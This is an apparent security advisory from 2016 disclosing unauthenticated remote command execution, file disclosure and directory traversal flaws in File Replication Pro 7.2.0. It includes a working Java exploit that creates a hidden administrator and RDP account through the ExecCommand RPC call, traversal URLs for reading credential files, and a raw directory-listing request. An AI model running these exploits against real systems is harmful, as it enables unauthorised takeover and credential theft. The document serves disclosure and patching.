File Replication Pro 7.2.0 Command Execution / File Disclosure / Traversal

Published
Credit
Risk
2016.02.12
Jerold Hoong
High
CWE
CVE
Local
Remote
CWE-22
CWE-78
N/A
No
Yes

Vantage Point Security Advisory 2016-001
================================

Title: File Replication Pro Remote Command Execution
Vendor: File Replication Pro
Vendor URL: http://www.filereplicationpro.com/
Versions affected: =< 7.2.0
Severity: High
Vendor notified: Yes
Reported: 29 October 2015
Public release: 10 February 2016
Author: Jerold Hoong and the VP team <jerold[at]vantagepoint[dot]sg>
Permalink:

Summary:
--------
File Replication Pro (FRP) is a file management solution that is used
to back up and copy files from various nodes in the network. Vantage
Point has discovered multiple vulnerabilities in FRP v7.2.0 (and
possibly prior versions) that allow a remote unauthenticated malicious
run arbitrary code with SYSTEM privileges.

The vulnerabilities that were discovered are:

- Unauthenticated Remote Command Execution
- Unauthenticated Remote Arbitrary File Disclosure
- Unauthenticated Directory Traversal and File Listing

1. Unauthenticated Remote Command Execution
-------------------------------------------
The backup agents implements a RPC service port 9200 that supports
various calls, including a function called "ExecCommand" that
unsurprisingly executes shell commands on the system. A password hash
is used to authenticate calls on this interface (note that the hash
itself and not the password is used for authentication). This hash can
be obtained from the remote file disclosure vulnerability present in
the software (listed below) and used to authenticate to the RPC
service, where subsequently, arbitrary commands are executed as the
SYSTEM user.

POC Exploit Code of Malicious RPC Client:

/**
* @author Jerold Hoong (Vantage Point Security)
* File Replication Pro =< v7.2.0
* Remote Command Execution PoC Working Exploit
* www.vantagepoint.sg
* NOTE: Include FRP libraries to compile
*/

import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
import net.diasoft.frp.engine.exception.RPCException;
import net.diasoft.frp.engine.model.AddressPort;
import net.diasoft.frp.engine.tcp.client.RPCDriver;
import net.diasoft.frp.engine.tcp.client.TCPConnection;

public class Main {

static String ip = "1.2.3.4";
static int port = 9200;
// password string can be retrieved from remote file disclosure
vulnerability (configuration.xml)
// If no password is set, input blank string for password
// Use IE to navigate to <Target IP>:9200. OK = NO-AUTH, Error = AUTH

static String password = ""; // password 12345 jLIjfQZ5yojbZGTqxg2pY0VROWQ=

public static void main(String[] args) {

AddressPort ap = new AddressPort(ip, port);
AddressPort addresses[] = {ap};
TCPConnection _tcp_connection = null;

try {
_tcp_connection = new TCPConnection(addresses, password, true);

} catch (Exception e) {
e.printStackTrace();
}

System.out.print("Connecting to host...");
RPCDriver rpc = new RPCDriver(_tcp_connection);
HashMap p = new HashMap();

try {
Map r = rpc.callFunction("ExecCommand", p);
System.out.print("Success!\n");
} catch (RPCException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {

e.printStackTrace();
}

// add new user
System.out.print("Attempting to add user 'vantagepoint' with
password 'LOLrofl1337!': ");
p.put("COMMAND", "net user vantagepoint LOLrofl1337! /add");
try {
Map r = rpc.callFunction("ExecCommand", p);
} catch (RPCException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {

e.printStackTrace();
}

// add new user to Admin group
System.out.print("Attempting to add user 'vantagepoint' to
'Administrators' group: ");
p.put("COMMAND", "net localgroup \"Administrators\" vantagepoint /add");
try {
Map r = rpc.callFunction("ExecCommand", p);
} catch (RPCException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {

e.printStackTrace();
}

//add new user to RDP group
System.out.print("Attempting to add user 'vantagepoint' to
'Remote Desktop Users' group:");
p.put("COMMAND", "net localgroup \"Remote Desktop Users\"
vantagepoint /add");
try {
Map r = rpc.callFunction("ExecCommand", p);
} catch (RPCException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {

e.printStackTrace();
}
System.out.print("\n\n---- END ----\n\n");

}
}


2. Unauthenticated Remote Arbitrary File Disclosure
---------------------------------------------------
A flaw in File Replication Pro allows a malicious user to gain access
to the contents of any file on the remote server. This leads to the
compromise of sensitive information such as user accounts and password
hashes, which can then be used to further exploit the server using
other vulnerabilities in the software. An example of how to view File
Replication Pro's web interface user accounts and credentials is shown
below by accessing the following URLs:

- http://1.2.3.4:9100/DetailedLogReader.jsp?log_path=C:\Program+Files\FileReplicationPro\\etc\\properties.xml
- http://1.2.3.4:9100/DetailedLogReader.jsp?log_path=C:\Program+Files\FileReplicationPro\\etc\\configuration.xml


3. Unauthenticated Directory Traversal and File Listing
-------------------------------------------------------
It was possible to anonymously view the file directory structure of
the remote File Replication Pro management server as well as the file
directory structure of all server nodes that are managed by the
management server. The parameters that are used to construct the POST
request in the example code below can be obtained via the remote file
disclosure vulnerability by accessing File Replication Pro's
configuration.xml, properties.xml and .frp_id files.

POST /GetRemoteDirList.jsp?server_name=WIN7SP1&server_key=WIN7SP1~29d919a3:150c736b708:-8000&server_role=Source&server_password=&parent_dir=../../../c:/
HTTP/1.1
Host: 127.0.0.1:9100
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:41.0) Gecko/20100101 Firefox/41.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:9100/AddEditJob.do?action=new
Cookie: show_greeting=value; JSESSIONID=81cgjqf795cai
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 0


Fix Information:
----------------
Upgrade to the latest version of File Replication Pro 7.3.0

Timeline:
---------
28 October 2015 - Vulnerabilities discovered
06 November 2015 - Vendor acknowledged and scheduled fixes to commence
02 February 2016 - Patch released by vendor
10 February 2016 - Release of this advisory to the public

About Vantage Point Security:
-----------------------------

Vantage Point is the leading provider for penetration testing and
security advisory services in Singapore. Clients in the Financial,
Banking and Telecommunications industries select Vantage Point
Security based on technical competency and a proven track record to
deliver significant and measurable improvements in their security
posture.

https://www.vantagepoint.sg/
office[at]vantagepoint[dot]sg


See this note in RAW Version

 
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